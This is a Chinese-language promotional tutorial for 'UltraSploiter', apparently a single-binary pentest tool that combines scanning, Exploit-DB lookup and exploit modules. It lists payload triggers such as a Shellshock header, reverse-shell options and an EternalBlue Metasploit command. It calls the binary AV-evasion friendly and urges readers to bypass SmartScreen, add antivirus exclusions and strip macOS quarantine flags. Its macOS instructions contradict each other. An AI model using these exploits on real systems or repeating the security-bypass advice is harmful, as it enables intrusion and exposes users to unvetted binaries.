UltraSploiter:集成端口扫描、Exploit-DB 与漏洞利用模块的一体化渗透测试工具
做一次完整的渗透测试,往往要在 nmap、searchsploit、msfconsole 之间来回切换:先用端口扫描器摸清目标开放了哪些服务,再翻漏洞库找对应的 Exploit,最后打开 Metasploit 配置参数、发起攻击。流程不复杂,但工具链的碎片化消耗了大量时间。今天要介绍的 **UltraSploiter,正是为解决这个痛点而生的开源安全工具——它将端口扫描器、完整的 Exploit-DB 索引和一组可直接运行的漏洞利用模块打包进单一二进制文件**,输入一个 IP,即可完成从扫描、匹配到利用的完整闭环。本文将从功能特性、技术优势、安装部署到实战用法,全面拆解这款新兴的渗透测试利器。

UltraSploiter 产品介绍:一个二进制文件里的完整渗透工作流
UltraSploiter 是一款用 Rust 编写的跨平台安全工具,支持 Linux、Windows 和 macOS。它的设计理念非常直接:把渗透测试前期最常用的三个环节——**端口扫描、漏洞检索、漏洞利用**——整合到一条命令背后,让操作者不再需要在多个工具之间复制粘贴 IP 和端口。
传统工具链与 UltraSploiter 的对应关系如下:
| 渗透测试任务 | 常规工具 | UltraSploiter 等价命令 |
|---|---|---|
| 发现主机上的服务 | nmap | UltraSploiter scan <ip> |
| 查找漏洞利用代码 | searchsploit | UltraSploiter search <kw> |
| 发动漏洞攻击 | msfconsole | UltraSploiter exploit <ip> <module> |
整个工具没有安装步骤、没有运行时依赖,下载即可运行。对于需要在客户内网、临时评估环境或应急演练现场快速开展工作的安全人员来说,这种"单文件、零依赖"的形态意味着可以随时拷进 U 盘带走。
核心功能:扫描、检索、利用三位一体
1. 异步高速端口扫描
扫描功能基于 tokio 异步运行时构建,每个 -T 时序级别对应不同的并发 socket 数量(-T5 下最多可同时发起 8000 个连接)。实测中,扫完 nmap top-1000 端口只需几秒钟。每一次"开放"判定都建立在完整的 TCP 三次握手之上,结果精确可靠。扫描结束后还会自动拉取 HTTP 标题(类似 nmap 的 http-title 脚本),并基于 Banner 信息给出操作系统猜测。
目标既可以是单个 IP 或主机名,也支持 CIDR 网段(如 10.0.0.0/24)、IP 区间(如 10.0.0.1-50)以及逗号分隔的列表。多目标扫描时会先做一次快速 TCP 主机发现,只扫描存活主机——一个 /24 网段的 top-1000 扫描从"分钟级"压缩到了"秒级"。
2. 内置 47000+ 条 Exploit-DB 完整索引
search 和 info 命令背后是与 searchsploit 完全相同的 Exploit-DB 数据集,超过 47000 条记录直接打包进二进制文件,离线也能检索。search 支持 -n <count> 控制返回条数,并可用 --type、--platform 过滤;show <id> 会直接打印指定 Exploit-DB 编号的 PoC 源码,并缓存到 ~/.ultrasploiter/pocs,重复查看无需联网。
当一个条目带有某个可运行模块已实现的 CVE 时,info 会自动把两者关联起来:
$ UltraSploiter info 17491
Exploit-DB 17491
description vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)
codes OSVDB-73573;CVE-2011-2523
[runnable] vsftpd_234
UltraSploiter exploit <ip> vsftpd_234
此外,search 还离线覆盖了 7000 个 Metasploit 模块的元数据(名称、CVE、评级、平台、端口),info exploit/windows/smb/ms17_010_eternalblue 可查看详情,配合本机安装的 Metasploit 可直接运行。
3. 37 个开箱即用的漏洞利用模块
UltraSploiter 原生实现了 37 个经典漏洞利用模块,覆盖从老式服务后门到近年 Web 框架 RCE 的广泛场景。每个模块都实现了非破坏性的 check() 和 run(),先验证再动手,最大限度降低误伤风险:
| 模块 | CVE | 触发方式 |
|---|---|---|
vsftpd_234 |
CVE-2011-2523 | :)用户名触发,6200 端口返回 root bind shell |
unrealircd_backdoor |
CVE-2010-2075 | 通过 IRC 发送 AB; <cmd> |
distcc_exec |
CVE-2004-2687 | DIST 协议编译器参数注入 |
proftpd_modcopy |
CVE-2015-3306 | SITE CPFR/CPTO文件复制 |
redis_unauth |
— | CONFIG SET写入密钥或 cron 条目 |
shellshock |
CVE-2014-6271 | User-Agent: () { :; }; <cmd> |
struts2_5638 |
CVE-2017-5638 | Content-Type 中的 OGNL 表达式 |
tomcat_put |
CVE-2017-12615 | PUT 上传 JSP Webshell |
tomcat_manager |
— | 通过 /manager部署 WAR 包 |
elasticsearch_groovy |
CVE-2015-1427 | _search中的 Groovy RCE |
drupalgeddon2 |
CVE-2018-7600 | Form API 渲染回调 |
phpunit_eval |
CVE-2017-9841 | eval-stdin.php |
jenkins_script |
CVE-2019-1003000 | 未认证的 /scriptGroovy 执行 |
solr_rce |
CVE-2019-17558 | stream.body中的 Velocity 模板注入 |
grafana_lfi |
CVE-2021-43798 | 插件路径遍历读取文件 |
webmin_backdoor |
CVE-2019-15107 | password_change.cgi将值管道传入 shell |
php_cgi_arg_injection |
CVE-2012-1823 | 通过查询字符串注入 -d auto_prepend_file |
反弹 shell 模块还支持会话管理:连接成功的 shell 会注册为会话,可随时查看、切入、后台或关闭,不会抢占当前终端。
4. 数据驱动的目录模块(Catalog)
对于 F5、Citrix、Fortinet、vBulletin 这类以 HTTP 请求模式为主的漏洞,UltraSploiter 采用了一个数据驱动的目录引擎——漏洞逻辑以 JSON 配方形式存放在 data/catalog.json 中,新增一个模块只需约 8 行数据,无需编写新的源代码:
| 模块 ID | CVE | 说明 |
|---|---|---|
CAT-F5-TMUI-LFI |
CVE-2020-5902 | F5 BIG-IP TMUI 文件读取 |
CAT-F5-ICONTROL-BASH |
CVE-2021-22986 | F5 iControl REST 未认证 RCE |
CAT-F5-ICONTROL-2022-1388 |
CVE-2022-1388 | F5 iControl 认证绕过 RCE |
CAT-PULSE-SECURE-LFI |
CVE-2019-11510 | Pulse Secure VPN 文件读取 |
CAT-CITRIX-2019-19781 |
CVE-2019-19781 | Citrix ADC 文件读取 |
CAT-APACHE-2449/-RCE |
CVE-2021-41773 | Apache 2.4.49 路径遍历 / mod_cgi RCE |
CAT-APACHE-2450/-RCE |
CVE-2021-42013 | Apache 2.4.50 路径遍历 / mod_cgi RCE |
CAT-VBULLETIN-2019-16759 |
CVE-2019-16759 | vBulletin widget_phpRCE |
CAT-VBULLETIN-2020-17496 |
CVE-2020-17496 | vBulletin 嵌套 widget RCE |
CAT-NEXUS3-LFI |
CVE-2024-4956 | Nexus Repository 3 路径遍历 |
CAT-FORTINET-FGTLANG |
CVE-2018-13379 | Fortinet SSL-VPN 会话文件读取 |
CAT-PHPMYADMIN-LFI |
CVE-2018-12613 | phpMyAdmin 本地文件包含 |
CAT-MINIO-INFO |
CVE-2023-28432 | MinIO 环境变量/凭据泄露 |
CAT-SPRING-ACTUATOR-ENV |
— | Spring Boot Actuator 配置泄露 |
CAT-DOCKER-API |
— | 开放的 Docker Engine API |
CAT-KUBELET-PODS |
— | 匿名 kubelet Pod 列表 |
CAT-ETCD-KEYS |
— | 未认证的 etcd 键值存储 |
CAT-HADOOP-WEBHDFS |
— | 未认证的 WebHDFS 目录列表 |
目录引擎负责处理方法、头部、正文、{cmd} / {file} / {lhost} / {lport} 占位符替换、路径感知的 URL 编码(遍历时斜杠保持字面量,表单正文完整编码,JSON 保持原始)、成功标记判定、反弹 shell 处理,以及通过 curl 实现 HTTPS——因此 443/8443 端口的配方不需要在二进制中引入 TLS 依赖即可工作。
5. Metasploit 桥接
如果本机已安装 Metasploit,msf 子命令会直通转发,在同一界面调用 Metasploit 的完整模块集:
UltraSploiter msf search eternalblue
UltraSploiter msf run exploit/windows/smb/ms17_010_eternalblue -o RHOSTS=10.0.0.5 -o LHOST=10.0.0.1
原生模块不依赖 Metasploit 即可独立工作,两者可以按需混用。
技术优势:为什么它值得关注
- 单文件分发,零依赖运行:一个自包含二进制覆盖扫描、检索、利用全流程,不需要 Python 环境、不需要数据库、不需要安装框架。
- Rust 异步架构带来的速度:基于 tokio 的扫描器把并发 socket 推到 8000 个,完整 TCP 握手保证结果精确,兼顾速度与准确性。
- 离线可用的漏洞知识库:47000+ Exploit-DB 条目和 7000 个 Metasploit 模块元数据全部打包进二进制,断网环境下依然能完成漏洞检索与匹配。
- check/run 分离的安全设计:每个原生模块都提供非破坏性
check(),目录配方也有成功标记判定,先验证漏洞存在再执行利用,减少评估过程中的意外影响。 - 数据驱动的可扩展性:Web 类漏洞以 JSON 配方声明,新增模块成本极低;Rust 模块则通过实现
Exploittrait(check、run)并在src/modules/mod.rs的build()中注册,同时在data/exploits.json补充对应条目即可。 - 免杀友好的 HTTPS 方案:443 端口的请求经由系统自带的 curl 完成,二进制无需捆绑 TLS 栈,体积和误报面都得到控制。
安装与部署教程
下载预编译二进制(推荐)
最简单的方式是直接从 Releases 页面 下载对应平台的预编译文件,无需安装、无需依赖:
- Windows:下载
UltraSploiter-windows-x86_64.exe,双击运行 - Linux:下载
UltraSploiter-linux-x86_64 - macOS:暂无预编译二进制,可用一条命令从源码构建(见下文)
提醒:安全工具普遍会被杀毒软件标记。Windows SmartScreen 和杀软很可能会警告或隔离该二进制——点击"更多信息 → 仍要运行",若打算长期使用可添加排除项。
Windows 启动:双击 UltraSploiter.exe 即可打开菜单。若 SmartScreen 提示"未知发布者"(未签名二进制都会如此),点击"更多信息 → 仍要运行"。
Linux 启动:
chmod +x UltraSploiter-linux-x86_64
./UltraSploiter-linux-x86_64
macOS 启动:
chmod +x UltraSploiter-macos-arm64
./UltraSploiter-macos-arm64
若 Gatekeeper 阻止运行(未签名应用常见情况),右键选择"打开",或一次性清除隔离标记:
xattr -d com.apple.quarantine UltraSploiter-macos-arm64
从源码构建
仅在平台没有预编译二进制或需要修改代码时才需要,要求 Rust 1.74+。
Linux:
sudo apt install build-essential # gcc + linker (Debian/Ubuntu)
git clone https://gitlab.com/vqkro/ultrasploiter
cd ultrasploiter
./build.sh # -> ./UltraSploiter
macOS:
xcode-select --install # clang + linker
git clone https://gitlab.com/vqkro/ultrasploiter
cd ultrasploiter
./build.sh # -> ./UltraSploiter
Windows:
git clone https://gitlab.com/vqkro/ultrasploiter
cd ultrasploiter
.\build.ps1 # -> UltraSploiter.exe
build.ps1 使用 stable-x86_64-pc-windows-gnu 工具链,通过 MinGW 链接——无需安装 Visual Studio 或 MSVC,工具链缺失时会自动安装。若本机已有 MSVC Build Tools,直接运行 cargo build --release 也可以。
Windows + GNU 注意事项:windows-sys(由 tokio 引入)会调用 dlltool,而 dlltool 又依赖汇编器 as——但 rust-mingw 组件并不包含 as。build.ps1 会在 %~dp0tools\mingw64\bin 和 %USERPROFILE%\tools\mingw64\bin 中查找包含 as 的 MinGW bin 目录,找到后会将其加入 PATH 最前。若遇到 error calling dlltool,把 winlibs 构建放到上述目录即可。MSVC 工具链不受此问题影响。
UltraSploiter 使用方式与命令详解
不带参数运行会显示交互式菜单:
1) Scan a target find open ports and services
2) Search exploits keyword lookup
3) List runnable modules
4) Run an exploit pick a target and a module
5) Console advanced msf-style commands
0) Exit
命令行速查
UltraSploiter scan 10.0.0.5 # top 1000 端口 + 指纹 + 建议
UltraSploiter scan 10.0.0.5 -p 1-1024 -T4 # 指定端口范围,快速时序
UltraSploiter scan 10.0.0.5 -p - # 全部 65535 端口
UltraSploiter scan 10.0.0.5 -sU # UDP 扫描
UltraSploiter scan 10.0.0.5 --json
UltraSploiter scan 10.0.0.5 -oX out.xml
UltraSploiter search samba
UltraSploiter info 17491
UltraSploiter show 17491 # 打印指定 Exploit-DB 编号的 PoC 源码
UltraSploiter modules
UltraSploiter msf search smb # 桥接 Metasploit(需本机已安装)
UltraSploiter exploit 10.0.0.5 vsftpd_234
UltraSploiter exploit 10.0.0.5 shellshock -o lhost=10.0.0.1 -o lport=4444
UltraSploiter console
在 Linux/macOS 上需要加 ./ 前缀(例如 ./UltraSploiter scan 10.0.0.5)。
扫描参数说明
| 参数 | 含义 |
|---|---|
-p <spec> |
端口规格:top(1000)、80,443、1-1024、-(全部) |
-T0..-T5 |
时序模板,从更慢/更安静到更快/更嘈杂 |
-sU |
UDP 探测扫描 |
-sV |
服务/版本检测(默认开启) |
--no-banner |
跳过 Banner 抓取 |
--json |
以 JSON 格式输出到 stdout |
-oX <file> |
输出 nmap 风格 XML |
利用模块选项(-o key=value)
| 键 | 适用模块 | 含义 |
|---|---|---|
lhost、lport |
反弹 shell 模块 | 回调地址 |
rport |
Web 模块 | 覆盖 HTTP 端口 |
path |
shellshock、struts、phpunit | 端点路径 |
user、pass |
tomcat_manager | 管理器凭据 |
core |
solr_rce | Solr core 名称 |
file |
grafana_lfi | 要读取的文件 |
ssh_pubkey |
redis_unauth | 写入 authorized_keys 的密钥 |
src、dst |
proftpd_modcopy | 复制源/目标 |
timeout |
全部模块 | socket 超时秒数 |
使用注意事项
- HTTPS 配方通过 curl 运行,Windows 10+、Linux 和 macOS 均自带 curl,443/8443 模块无需在二进制中引入 TLS 栈即可工作;若系统缺少 curl,请先安装。
-sU默认探测data/top_udp.txt中的精选 UDP 端口列表,传入-p可指定自定义端口。- 反弹 shell 模块在操作端绑定
lhost:lport,务必确保目标主机能够访问该地址。
典型应用场景
- 授权渗透测试与红队演练:面对大量内网主机时,先用
scan秒级完成资产探测,再根据服务指纹直接search匹配利用模块,--check安全验证后一键exploit,把打点速度从小时级压到分钟级。 - 攻防演练与靶机复盘:内置的 37 个原生模块覆盖了 Metasploitable 类靶机、CTF 比赛中的绝大多数经典漏洞(vsftpd 后门、Shellshock、Drupalgeddon2、Struts2 等),配合离线 Exploit-DB 索引,断网环境也能顺畅做题。
- 安全设备与中间件应急排查:目录模块中的 F5、Citrix、Fortinet、Pulse Secure 等配方,适合在漏洞爆发初期对内网设备进行批量、低影响的受影响面确认。
- 云原生环境基线检查:
CAT-DOCKER-API、CAT-KUBELET-PODS、CAT-ETCD-KEYS、CAT-HADOOP-WEBHDFS等配方可快速发现 Docker API 未授权、kubelet 匿名访问、etcd 未认证暴露等常见云原生配置缺陷。
总结
UltraSploiter 的价值不在于替代 nmap 或 Metasploit,而在于把渗透测试前期"扫描 → 检索 → 验证 → 利用"这条高频链路压缩进一条命令。单一二进制、零依赖、离线漏洞库、异步高速扫描、37 个可运行模块加上数据驱动的目录引擎,让它既能胜任应急演练中的快速打点,也适合作为日常授权渗透测试的轻量主力工具。如果你已经厌倦了在多个工具窗口之间来回切换,不妨现在就去项目主页下载试用。